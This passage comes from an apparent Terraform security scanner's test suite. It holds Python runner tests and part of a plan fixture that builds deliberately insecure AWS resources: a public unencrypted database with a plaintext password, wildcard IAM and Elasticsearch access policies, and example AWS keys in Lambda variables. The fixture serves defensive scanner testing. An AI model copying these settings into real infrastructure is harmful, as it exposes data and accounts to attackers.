runner_filter=RunnerFilter(framework=['terraform'], checks=['MEDIUM'])\n        )\n\n        all_checks = report.failed_checks + report.passed_checks\n        self.assertTrue(any(c.check_id == custom_check_id for c in all_checks))\n\n    def test_severity_skip_check_filter_omit(self):\n        custom_check_id = \"MY_CUSTOM_CHECK\"\n\n        resource_registry.checks = defaultdict(list)\n\n        class AnyFailingCheck(BaseResourceCheck):\n            def __init__(self, *_, **__) -> None:\n                super().__init__(\n                    \"this should fail\",\n                    custom_check_id,\n                    [CheckCategories.ENCRYPTION],\n                    [\"aws_s3_bucket\"]\n                )\n\n            def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult:\n                return CheckResult.FAILED\n\n        check = AnyFailingCheck()\n        check.severity = Severities[BcSeverities.LOW]\n        scan_file_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), \"resources\",\n                                      \"valid_tf_only_failed_checks\", \"example_acl_fail.tf\")\n\n        report = Runner(db_connector=self.db_connector()).run(\n            None,\n            files=[scan_file_path],\n            runner_filter=RunnerFilter(framework=['terraform'], skip_checks=['MEDIUM'])\n        )\n\n        all_checks = report.failed_checks + report.passed_checks\n        self.assertFalse(any(c.check_id == custom_check_id for c in all_checks))\n\n    def test_severity_skip_check_filter_include(self):\n        custom_check_id = \"MY_CUSTOM_CHECK\"\n\n        resource_registry.checks = defaultdict(list)\n\n        class AnyFailingCheck(BaseResourceCheck):\n            def __init__(self, *_, **__) -> None:\n                super().__init__(\n                    \"this should fail\",\n                    custom_check_id,\n                    [CheckCategories.ENCRYPTION],\n                    [\"aws_s3_bucket\"]\n                )\n\n            def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult:\n                return CheckResult.FAILED\n\n        check = AnyFailingCheck()\n        check.severity = Severities[BcSeverities.HIGH]\n        scan_file_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), \"resources\",\n                                      \"valid_tf_only_failed_checks\", \"example_acl_fail.tf\")\n\n        report = Runner(db_connector=self.db_connector()).run(\n            None,\n            files=[scan_file_path],\n            runner_filter=RunnerFilter(framework=['terraform'], skip_checks=['MEDIUM'])\n        )\n\n        all_checks = report.failed_checks + report.passed_checks\n        self.assertTrue(any(c.check_id == custom_check_id for c in all_checks))\n\n    @parameterized.expand([\n        (NetworkxConnector,),\n        (RustworkxConnector,)\n    ])\n    def test_get_graph_resource_entity_config(self, graph_connector):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        path_to_scan = os.path.join(current_dir, 'resources', 'get_graph_resource_entity_config')\n        graph_manager = TerraformGraphManager(db_connector=graph_connector())\n        graph, _ = graph_manager.build_graph_from_source_directory(path_to_scan)\n        graph_manager.save_graph(graph)\n        graph_connector = graph_manager.get_reader_endpoint()\n        if isinstance(graph_connector, DiGraph):\n            for _, data in graph_connector.nodes(data=True):\n                config = Runner.get_graph_resource_entity_config(data)\n                self.assertIn(CustomAttributes.TF_RESOURCE_ADDRESS, config)\n        if isinstance(graph_connector, PyDiGraph):\n            for _, data in graph_connector.nodes():\n                config = Runner.get_graph_resource_entity_config(data)\n                self.assertIn(CustomAttributes.TF_RESOURCE_ADDRESS, config)\n\n    @mock.patch.dict(os.environ, {\"ENABLE_DEFINITION_KEY\": \"True\"})\n    def test_entity_context_fetching_with_TFDefinitionKey(self):\n        runner = Runner(db_connector=self.db_connector())\n        full_file_path = TFDefinitionKey(\n            file_path='/tmp/checkov/1069803756901857280/prisma-new-user/TestAutomationRepo_7-30-2023-1-38-24-PM/pr/4/58a43cb0e5daee00398b6c892c9287438c7c74ea/diff/src/file1.tf',\n            tf_source_modules=None)\n        runner.context = {full_file_path: {'resource': {'aws_lb_listener': {'https1': {'start_line': 1, 'end_line': 7,\n                                                                                       'code_lines': [[1,\n                                                                                                       'resource \"aws_lb_listener\" \"https1\" {\\n'],\n                                                                                                      [2,\n                                                                                                       '  load_balancer_arn = \"\"\\n'],\n                                                                                                      [3,\n                                                                                                       '  protocol          = \"HTTPS\"\\n'],\n                                                                                                      [4,\n                                                                                                       '  default_action {\\n'],\n                                                                                                      [5,\n                                                                                                       '    type = \"\"\\n'],\n                                                                                                      [6, '  }\\n'],\n                                                                                                      [7, '}']],\n                                                                                       'skipped_checks': []}}}}}\n        entity_with_found_path = {'block_name_': 'aws_lb_listener.https1', 'block_type_': 'resource',\n                                  'file_path_': '/tmp/checkov/1069803756901857280/prisma-new-user/TestAutomationRepo_7-30-2023-1-38-24-PM/pr/4/58a43cb0e5daee00398b6c892c9287438c7c74ea/diff/src/file1.tf',\n                                  'config_': {'aws_lb_listener': {'https1': {'__end_line__': 7, '__start_line__': 1,\n                                                                             'default_action': [{'type': ['']}],\n                                                                             'load_balancer_arn': [''],\n                                                                             'protocol': ['HTTPS'],\n                                                                             '__address__': 'aws_lb_listener.https1'}}},\n                                  'attributes_': {'__end_line__': 7, '__start_line__': 1,\n                                                  'default_action': {'type': ''}, 'load_balancer_arn': [''],\n                                                  'protocol': ['HTTPS'], 'resource_type': ['aws_lb_listener'],\n                                                  'default_action.type': '', '__address__': 'aws_lb_listener.https1'},\n                                  'label_': 'resource: aws_lb_listener.https1', 'id_': 'aws_lb_listener.https1',\n                                  'customer_name_': '1069803756901857280',\n                                  'account_id_': 'prisma-new-user/TestAutomationRepo_7-30-2023-1-38-24-PM/CICD/243676',\n                                  'unique_tag_': 'prod', 'source_': 'terraform', 'violations_count_': 0, 'region_': '',\n                                  '__end_line__': 7, '__start_line__': 1, 'default_action': {'type': ''},\n                                  'default_action.type': '', 'load_balancer_arn': '', 'protocol': 'HTTPS',\n                                  'resource_type': 'aws_lb_listener', '__address__': 'aws_lb_listener.https1',\n                                  'module_dependency_': '', 'module_dependency_num_': '',\n                                  'hash': 'd61bc3a35537776896f83679a51e63d3a6074f66b368bc4fea07871d282875e9'}\n        entity_context = runner.get_entity_context_and_evaluations(entity_with_found_path)\n        assert entity_context is not None\n        assert entity_context['start_line'] == 1 and entity_context['end_line'] == 7\n\n\n    def test__parse_files(self):\n        for parallel_type in ParallelizationType:\n            if parallel_runner.os == \"Windows\" and parallel_type == ParallelizationType.FORK:\n                # fork doesn't wok on Windows\n                continue\n\n            with self.subTest(msg=\"with parallelization type\", parallel_type=parallel_type):\n                # given\n                runner = Runner()\n                runner.definitions = {}\n\n                example_dir = Path(__file__).parent / \"resources/example\"\n                example_files = [str(file_path) for file_path in example_dir.rglob(\"*.tf\")]\n                parsing_errors = {}\n\n                parallel_runner.type = parallel_type\n\n                # when\n                runner._parse_files(files=example_files, parsing_errors=parsing_errors)\n\n                # then\n                self.assertEqual(len(runner.definitions), 1)\n                self.assertEqual(len(parsing_errors), 1)\n\n    def test__parse_files_with_timout(self):\n        for parallel_type in [ParallelizationType.FORK, ParallelizationType.SPAWN, ParallelizationType.NONE]:\n            if parallel_runner.os == \"Windows\" and parallel_type == ParallelizationType.FORK:\n                # fork doesn't wok on Windows\n                continue\n\n            with self.subTest(msg=\"with parallelization type\", parallel_type=parallel_type):\n                # given\n                runner = Runner()\n                runner.definitions = {}\n\n                example_dir = Path(__file__).parent / \"resources/hcl_timeout\"\n                example_files = [str(file_path) for file_path in example_dir.rglob(\"*.tf\")]\n                parsing_errors = {}\n\n                parallel_runner.type = parallel_type\n\n                # when\n                runner._parse_files(files=example_files, parsing_errors=parsing_errors)\n\n                # then\n                self.assertEqual(len(runner.definitions), 0)\n                self.assertEqual(len(parsing_errors), 1)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/runner/tf_plan_skip_check_regex/resource/skip_directory/tfplan2.json",
    "content": "{\n  \"format_version\": \"0.1\",\n  \"terraform_version\": \"0.12.23\",\n  \"variables\": {\n    \"ami\": {\n      \"value\": \"ami-09a5b0b7edf08843d\"\n    },\n    \"availability_zone\": {\n      \"value\": \"us-west-2a\"\n    },\n    \"availability_zone2\": {\n      \"value\": \"us-west-2b\"\n    },\n    \"company_name\": {\n      \"value\": \"acme\"\n    },\n    \"dbname\": {\n      \"value\": \"db1\"\n    },\n    \"environment\": {\n      \"value\": \"corp\"\n    },\n    \"neptune-dbname\": {\n      \"value\": \"neptunedb1\"\n    },\n    \"password\": {\n      \"value\": \"Aa1234321Bb\"\n    },\n    \"profile\": {\n      \"value\": \"default\"\n    },\n    \"region\": {\n      \"value\": \"us-west-2\"\n    }\n  },\n  \"planned_values\": {\n    \"outputs\": {\n      \"db_app_public_dns\": {\n        \"sensitive\": false\n      },\n      \"db_endpoint\": {\n        \"sensitive\": false\n      },\n      \"ec2_public_dns\": {\n        \"sensitive\": false\n      },\n      \"endpoint\": {\n        \"sensitive\": false\n      },\n      \"kubeconfig-certificate-authority-data\": {\n        \"sensitive\": false\n      },\n      \"public_subnet\": {\n        \"sensitive\": false\n      },\n      \"public_subnet2\": {\n        \"sensitive\": false\n      },\n      \"secret\": {\n        \"sensitive\": false\n      },\n      \"username\": {\n        \"sensitive\": false,\n        \"value\": \"123456789123-acme-corp-user\"\n      },\n      \"vpc_id\": {\n        \"sensitive\": false\n      }\n    },\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"aws_db_instance.default\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_db_instance\",\n          \"name\": \"default\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 1,\n          \"values\": {\n            \"allocated_storage\": 20,\n            \"allow_major_version_upgrade\": null,\n            \"apply_immediately\": true,\n            \"auto_minor_version_upgrade\": true,\n            \"backup_retention_period\": 0,\n            \"copy_tags_to_snapshot\": false,\n            \"db_subnet_group_name\": \"sg-123456789123-acme-corp\",\n            \"delete_automated_backups\": true,\n            \"deletion_protection\": null,\n            \"domain\": null,\n            \"domain_iam_role_name\": null,\n            \"enabled_cloudwatch_logs_exports\": null,\n            \"engine\": \"mysql\",\n            \"engine_version\": \"8.0\",\n            \"final_snapshot_identifier\": null,\n            \"iam_database_authentication_enabled\": null,\n            \"identifier\": \"rds-123456789123-acme-corp\",\n            \"instance_class\": \"db.t3.micro\",\n            \"iops\": null,\n            \"max_allocated_storage\": null,\n            \"monitoring_interval\": 0,\n            \"multi_az\": false,\n            \"name\": \"db1\",\n            \"option_group_name\": \"og-123456789123-acme-corp\",\n            \"parameter_group_name\": \"pg-123456789123-acme-corp\",\n            \"password\": \"Aa1234321Bb\",\n            \"performance_insights_enabled\": false,\n            \"publicly_accessible\": true,\n            \"replicate_source_db\": null,\n            \"s3_import\": [],\n            \"security_group_names\": null,\n            \"skip_final_snapshot\": true,\n            \"snapshot_identifier\": null,\n            \"storage_encrypted\": false,\n            \"tags\": {\n              \"Environment\": \"123456789123-acme-corp\",\n              \"Name\": \"123456789123-acme-corp-rds\"\n            },\n            \"timeouts\": null,\n            \"username\": \"admin\"\n          }\n        },\n        {\n          \"address\": \"aws_db_option_group.default\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_db_option_group\",\n          \"name\": \"default\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"engine_name\": \"mysql\",\n            \"major_engine_version\": \"8.0\",\n            \"name\": \"og-123456789123-acme-corp\",\n            \"option\": [],\n            \"option_group_description\": \"Terraform OG\",\n            \"tags\": {\n              \"Environment\": \"123456789123-acme-corp\",\n              \"Name\": \"123456789123-acme-corp-og\"\n            },\n            \"timeouts\": null\n          }\n        },\n        {\n          \"address\": \"aws_db_parameter_group.default\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_db_parameter_group\",\n          \"name\": \"default\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"description\": \"Terraform PG\",\n            \"family\": \"mysql8.0\",\n            \"name\": \"pg-123456789123-acme-corp\",\n            \"parameter\": [\n              {\n                \"apply_method\": \"immediate\",\n                \"name\": \"character_set_client\",\n                \"value\": \"utf8\"\n              },\n              {\n                \"apply_method\": \"immediate\",\n                \"name\": \"character_set_server\",\n                \"value\": \"utf8\"\n              }\n            ],\n            \"tags\": {\n              \"Environment\": \"123456789123-acme-corp\",\n              \"Name\": \"123456789123-acme-corp-pg\"\n            }\n          }\n        },\n        {\n          \"address\": \"aws_db_subnet_group.default\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_db_subnet_group\",\n          \"name\": \"default\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"description\": \"Terraform DB Subnet Group\",\n            \"name\": \"sg-123456789123-acme-corp\",\n            \"tags\": {\n              \"Environment\": \"123456789123-acme-corp\",\n              \"Name\": \"sg-123456789123-acme-corp\"\n            }\n          }\n        },\n        {\n          \"address\": \"aws_ebs_snapshot.example_snapshot\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_ebs_snapshot\",\n          \"name\": \"example_snapshot\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"description\": \"123456789123-acme-corp-ebs-snapshot\",\n            \"tags\": {\n              \"Name\": \"123456789123-acme-corp-ebs-snapshot\"\n            },\n            \"timeouts\": null\n          }\n        },\n        {\n          \"address\": \"aws_ebs_volume.web_host_storage\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_ebs_volume\",\n          \"name\": \"web_host_storage\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"availability_zone\": \"us-west-2a\",\n            \"multi_attach_enabled\": null,\n            \"outpost_arn\": null,\n            \"size\": 1,\n            \"tags\": {\n              \"Name\": \"123456789123-acme-corp-ebs\"\n            }\n          }\n        },\n        {\n          \"address\": \"aws_ecr_repository.repository\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_ecr_repository\",\n          \"name\": \"repository\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"encryption_configuration\": [],\n            \"image_scanning_configuration\": [],\n            \"image_tag_mutability\": \"MUTABLE\",\n            \"name\": \"123456789123-acme-corp-repository\",\n            \"tags\": {\n              \"Name\": \"123456789123-acme-corp-repository\"\n            },\n            \"timeouts\": null\n          }\n        },\n        {\n          \"address\": \"aws_eks_cluster.eks_cluster\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_eks_cluster\",\n          \"name\": \"eks_cluster\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"enabled_cluster_log_types\": null,\n            \"encryption_config\": [],\n            \"name\": \"123456789123-acme-corp-eks\",\n            \"tags\": null,\n            \"timeouts\": null,\n            \"vpc_config\": [\n              {\n                \"endpoint_private_access\": true,\n                \"endpoint_public_access\": true,\n                \"security_group_ids\": null\n              }\n            ]\n          }\n        },\n        {\n          \"address\": \"aws_elasticsearch_domain.monitoring-framework\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_elasticsearch_domain\",\n          \"name\": \"monitoring-framework\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"cluster_config\": [\n              {\n                \"dedicated_master_count\": null,\n                \"dedicated_master_enabled\": false,\n                \"dedicated_master_type\": null,\n                \"instance_count\": 1,\n                \"instance_type\": \"t2.small.elasticsearch\",\n                \"warm_count\": null,\n                \"warm_enabled\": null,\n                \"warm_type\": null,\n                \"zone_awareness_config\": [],\n                \"zone_awareness_enabled\": null\n              }\n            ],\n            \"cognito_options\": [],\n            \"domain_name\": \"tg-corp-es\",\n            \"ebs_options\": [\n              {\n                \"ebs_enabled\": true,\n                \"iops\": null,\n                \"volume_size\": 30\n              }\n            ],\n            \"elasticsearch_version\": \"2.3\",\n            \"log_publishing_options\": [],\n            \"snapshot_options\": [],\n            \"tags\": null,\n            \"timeouts\": null,\n            \"vpc_options\": []\n          }\n        },\n        {\n          \"address\": \"aws_elasticsearch_domain_policy.monitoring-framework-policy\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_elasticsearch_domain_policy\",\n          \"name\": \"monitoring-framework-policy\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"access_policies\": \"{\\n  \\\"Version\\\": \\\"2012-10-17\\\",\\n  \\\"Statement\\\": [\\n    {\\n      \\\"Sid\\\": \\\"\\\",\\n      \\\"Effect\\\": \\\"Allow\\\",\\n      \\\"Action\\\": \\\"es:*\\\",\\n      \\\"Resource\\\": \\\"*\\\",\\n      \\\"Principal\\\": {\\n        \\\"AWS\\\": \\\"*\\\"\\n      }\\n    }\\n  ]\\n}\",\n            \"domain_name\": \"tg-corp-es\"\n          }\n        },\n        {\n          \"address\": \"aws_elb.weblb\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_elb\",\n          \"name\": \"weblb\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"access_logs\": [],\n            \"connection_draining\": true,\n            \"connection_draining_timeout\": 400,\n            \"cross_zone_load_balancing\": true,\n            \"health_check\": [\n              {\n                \"healthy_threshold\": 2,\n                \"interval\": 30,\n                \"target\": \"HTTP:8000/\",\n                \"timeout\": 3,\n                \"unhealthy_threshold\": 2\n              }\n            ],\n            \"idle_timeout\": 400,\n            \"listener\": [\n              {\n                \"instance_port\": 8000,\n                \"instance_protocol\": \"http\",\n                \"lb_port\": 80,\n                \"lb_protocol\": \"http\",\n                \"ssl_certificate_id\": \"\"\n              }\n            ],\n            \"name\": \"weblb-terraform-elb\",\n            \"name_prefix\": null,\n            \"tags\": {\n              \"Name\": \"foobar-terraform-elb\"\n            }\n          }\n        },\n        {\n          \"address\": \"aws_flow_log.vpcflowlogs\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_flow_log\",\n          \"name\": \"vpcflowlogs\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"eni_id\": null,\n            \"iam_role_arn\": null,\n            \"log_destination_type\": \"s3\",\n            \"max_aggregation_interval\": 600,\n            \"subnet_id\": null,\n            \"tags\": {\n              \"Environment\": \"123456789123-acme-corp\",\n              \"Name\": \"123456789123-acme-corp-flowlogs\"\n            },\n            \"traffic_type\": \"ALL\"\n          }\n        },\n        {\n          \"address\": \"aws_iam_access_key.user\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_iam_access_key\",\n          \"name\": \"user\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"pgp_key\": null,\n            \"user\": \"123456789123-acme-corp-user\"\n          }\n        },\n        {\n          \"address\": \"aws_iam_instance_profile.ec2profile\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_iam_instance_profile\",\n          \"name\": \"ec2profile\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"name\": \"123456789123-acme-corp-profile\",\n            \"name_prefix\": null,\n            \"path\": \"/\",\n            \"role\": \"123456789123-acme-corp-role\"\n          }\n        },\n        {\n          \"address\": \"aws_iam_role.ec2role\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_iam_role\",\n          \"name\": \"ec2role\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"assume_role_policy\": \"{\\n    \\\"Version\\\": \\\"2012-10-17\\\",\\n    \\\"Statement\\\": [\\n        {\\n            \\\"Action\\\": \\\"sts:AssumeRole\\\",\\n            \\\"Principal\\\": {\\n               \\\"Service\\\": \\\"ec2.amazonaws.com\\\"\\n            },\\n            \\\"Effect\\\": \\\"Allow\\\",\\n            \\\"Sid\\\": \\\"\\\"\\n        }\\n    ]\\n}\\n\",\n            \"description\": null,\n            \"force_detach_policies\": false,\n            \"max_session_duration\": 3600,\n            \"name\": \"123456789123-acme-corp-role\",\n            \"name_prefix\": null,\n            \"path\": \"/\",\n            \"permissions_boundary\": null,\n            \"tags\": {\n              \"Environment\": \"123456789123-acme-corp\",\n              \"Name\": \"123456789123-acme-corp-role\"\n            }\n          }\n        },\n        {\n          \"address\": \"aws_iam_role.iam_for_eks\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_iam_role\",\n          \"name\": \"iam_for_eks\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"assume_role_policy\": \"{\\n  \\\"Version\\\": \\\"2012-10-17\\\",\\n  \\\"Statement\\\": [\\n    {\\n      \\\"Sid\\\": \\\"\\\",\\n      \\\"Effect\\\": \\\"Allow\\\",\\n      \\\"Action\\\": \\\"sts:AssumeRole\\\",\\n      \\\"Principal\\\": {\\n        \\\"Service\\\": \\\"eks.amazonaws.com\\\"\\n      }\\n    }\\n  ]\\n}\",\n            \"description\": null,\n            \"force_detach_policies\": false,\n            \"max_session_duration\": 3600,\n            \"name\": \"123456789123-acme-corp-iam-for-eks\",\n            \"name_prefix\": null,\n            \"path\": \"/\",\n            \"permissions_boundary\": null,\n            \"tags\": null\n          }\n        },\n        {\n          \"address\": \"aws_iam_role.iam_for_lambda\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_iam_role\",\n          \"name\": \"iam_for_lambda\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"assume_role_policy\": \"{\\n  \\\"Version\\\": \\\"2012-10-17\\\",\\n  \\\"Statement\\\": [\\n    {\\n      \\\"Action\\\": \\\"sts:AssumeRole\\\",\\n      \\\"Principal\\\": {\\n        \\\"Service\\\": \\\"lambda.amazonaws.com\\\"\\n      },\\n      \\\"Effect\\\": \\\"Allow\\\",\\n      \\\"Sid\\\": \\\"\\\"\\n    }\\n  ]\\n}\\n\",\n            \"description\": null,\n            \"force_detach_policies\": false,\n            \"max_session_duration\": 3600,\n            \"name\": \"123456789123-acme-corp-analysis-lambda\",\n            \"name_prefix\": null,\n            \"path\": \"/\",\n            \"permissions_boundary\": null,\n            \"tags\": null\n          }\n        },\n        {\n          \"address\": \"aws_iam_role_policy.ec2policy\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_iam_role_policy\",\n          \"name\": \"ec2policy\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"name\": \"123456789123-acme-corp-policy\",\n            \"name_prefix\": null,\n            \"policy\": \"{\\n  \\\"Version\\\": \\\"2012-10-17\\\",\\n  \\\"Statement\\\": [\\n    {\\n      \\\"Action\\\": [\\n        \\\"s3:*\\\",\\n        \\\"ec2:*\\\",\\n        \\\"rds:*\\\"\\n      ],\\n      \\\"Effect\\\": \\\"Allow\\\",\\n      \\\"Resource\\\": \\\"*\\\"\\n    }\\n  ]\\n}\\n\"\n          }\n        },\n        {\n          \"address\": \"aws_iam_role_policy_attachment.policy_attachment-AmazonEKSClusterPolicy\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_iam_role_policy_attachment\",\n          \"name\": \"policy_attachment-AmazonEKSClusterPolicy\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"policy_arn\": \"arn:aws:iam::aws:policy/AmazonEKSClusterPolicy\",\n            \"role\": \"123456789123-acme-corp-iam-for-eks\"\n          }\n        },\n        {\n          \"address\": \"aws_iam_role_policy_attachment.policy_attachment-AmazonEKSServicePolicy\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_iam_role_policy_attachment\",\n          \"name\": \"policy_attachment-AmazonEKSServicePolicy\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"policy_arn\": \"arn:aws:iam::aws:policy/AmazonEKSServicePolicy\",\n            \"role\": \"123456789123-acme-corp-iam-for-eks\"\n          }\n        },\n        {\n          \"address\": \"aws_iam_user.user\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_iam_user\",\n          \"name\": \"user\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"force_destroy\": true,\n            \"name\": \"123456789123-acme-corp-user\",\n            \"path\": \"/\",\n            \"permissions_boundary\": null,\n            \"tags\": {\n              \"Environment\": \"123456789123-acme-corp\",\n              \"Name\": \"123456789123-acme-corp-user\"\n            }\n          }\n        },\n        {\n          \"address\": \"aws_iam_user_policy.userpolicy\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_iam_user_policy\",\n          \"name\": \"userpolicy\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"name\": \"excess_policy\",\n            \"name_prefix\": null,\n            \"policy\": \"{\\n  \\\"Version\\\": \\\"2012-10-17\\\",\\n  \\\"Statement\\\": [\\n    {\\n      \\\"Action\\\": [\\n        \\\"ec2:*\\\",\\n        \\\"s3:*\\\",\\n        \\\"lambda:*\\\",\\n        \\\"cloudwatch:*\\\"\\n      ],\\n      \\\"Effect\\\": \\\"Allow\\\",\\n      \\\"Resource\\\": \\\"*\\\"\\n    }\\n  ]\\n}\\n\",\n            \"user\": \"123456789123-acme-corp-user\"\n          }\n        },\n        {\n          \"address\": \"aws_instance.db_app\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_instance\",\n          \"name\": \"db_app\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 1,\n          \"values\": {\n            \"ami\": \"ami-0f0a6d00932023856\",\n            \"credit_specification\": [],\n            \"disable_api_termination\": null,\n            \"ebs_optimized\": null,\n            \"get_password_data\": false,\n            \"hibernation\": null,\n            \"iam_instance_profile\": \"123456789123-acme-corp-profile\",\n            \"instance_initiated_shutdown_behavior\": null,\n            \"instance_type\": \"t2.nano\",\n            \"monitoring\": null,\n            \"source_dest_check\": true,\n            \"tags\": {\n              \"Name\": \"123456789123-acme-corp-dbapp\"\n            },\n            \"timeouts\": null,\n            \"user_data_base64\": null\n          }\n        },\n        {\n          \"address\": \"aws_instance.web_host\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_instance\",\n          \"name\": \"web_host\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 1,\n          \"values\": {\n            \"ami\": \"ami-09a5b0b7edf08843d\",\n            \"credit_specification\": [],\n            \"disable_api_termination\": null,\n            \"ebs_optimized\": null,\n            \"get_password_data\": false,\n            \"hibernation\": null,\n            \"iam_instance_profile\": null,\n            \"instance_initiated_shutdown_behavior\": null,\n            \"instance_type\": \"t2.nano\",\n            \"monitoring\": null,\n            \"source_dest_check\": true,\n            \"tags\": {\n              \"Name\": \"123456789123-acme-corp-ec2\"\n            },\n            \"timeouts\": null,\n            \"user_data\": \"44c6c808e6449ee36dfcfc4ebd66c1b9634b40f2\",\n            \"user_data_base64\": null\n          }\n        },\n        {\n          \"address\": \"aws_internet_gateway.web_igw\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_internet_gateway\",\n          \"name\": \"web_igw\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"tags\": {\n              \"Name\": \"123456789123-acme-corp-igw\"\n            }\n          }\n        },\n        {\n          \"address\": \"aws_kms_alias.logs_key_alias\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_kms_alias\",\n          \"name\": \"logs_key_alias\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"name\": \"alias/123456789123-acme-corp-logs-bucket-key\",\n            \"name_prefix\": null\n          }\n        },\n        {\n          \"address\": \"aws_kms_key.logs_key\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_kms_key\",\n          \"name\": \"logs_key\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"customer_master_key_spec\": \"SYMMETRIC_DEFAULT\",\n            \"deletion_window_in_days\": 7,\n            \"description\": \"123456789123-acme-corp-logs bucket key\",\n            \"enable_key_rotation\": false,\n            \"is_enabled\": true,\n            \"key_usage\": \"ENCRYPT_DECRYPT\",\n            \"tags\": null\n          }\n        },\n        {\n          \"address\": \"aws_lambda_function.analysis_lambda\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_lambda_function\",\n          \"name\": \"analysis_lambda\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"dead_letter_config\": [],\n            \"description\": null,\n            \"environment\": [\n              {\n                \"variables\": {\n                  \"access_key\": \"AKIAIOSFODNN7EXAMPLE\",\n                  \"secret_key\": \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\n                }\n              }\n            ],\n            \"file_system_config\": [],\n            \"filename\": \"resources/lambda_function_payload.zip\",\n            \"function_name\": \"123456789123-acme-corp-analysis\",\n            \"handler\": \"exports.test\",\n            \"kms_key_arn\": null,\n            \"layers\": null,\n            \"memory_size\": 128,\n            \"publish\": false,\n            \"reserved_concurrent_executions\": -1,\n            \"runtime\": \"nodejs12.x\",\n            \"s3_bucket\": null,\n            \"s3_key\": null,\n            \"s3_object_version\": null,\n            \"source_code_hash\": \"Fne61Y/F2pmVywaVqIYcztFMK3LNeMJKpWFNnxDdGTw=\",\n            \"tags\": null,\n            \"timeout\": 3,\n            \"timeouts\": null,\n            \"vpc_config\": []\n          }\n        },\n        {\n          \"address\": \"aws_neptune_cluster.default\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_neptune_cluster\",\n          \"name\": \"default\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"apply_immediately\": true,\n            \"backup_retention_period\": 5,\n            \"cluster_identifier\": \"neptunedb1\",\n            \"deletion_protection\": null,\n            \"enable_cloudwatch_logs_exports\": null,\n            \"engine\": \"neptune\",\n            \"final_snapshot_identifier\": null,\n            \"iam_database_authentication_enabled\": false,\n            \"iam_roles\": null,\n            \"neptune_cluster_parameter_group_name\": \"default.neptune1\",\n            \"port\": 8182,\n            \"preferred_backup_window\": \"07:00-09:00\",\n            \"replication_source_identifier\": null,\n            \"skip_final_snapshot\": true,\n            \"snapshot_identifier\": null,\n            \"storage_encrypted\": false,\n            \"tags\": null,\n            \"timeouts\": null\n          }\n        },\n        {\n          \"address\": \"aws_neptune_cluster_instance.default[0]\",\n          \"mode\": 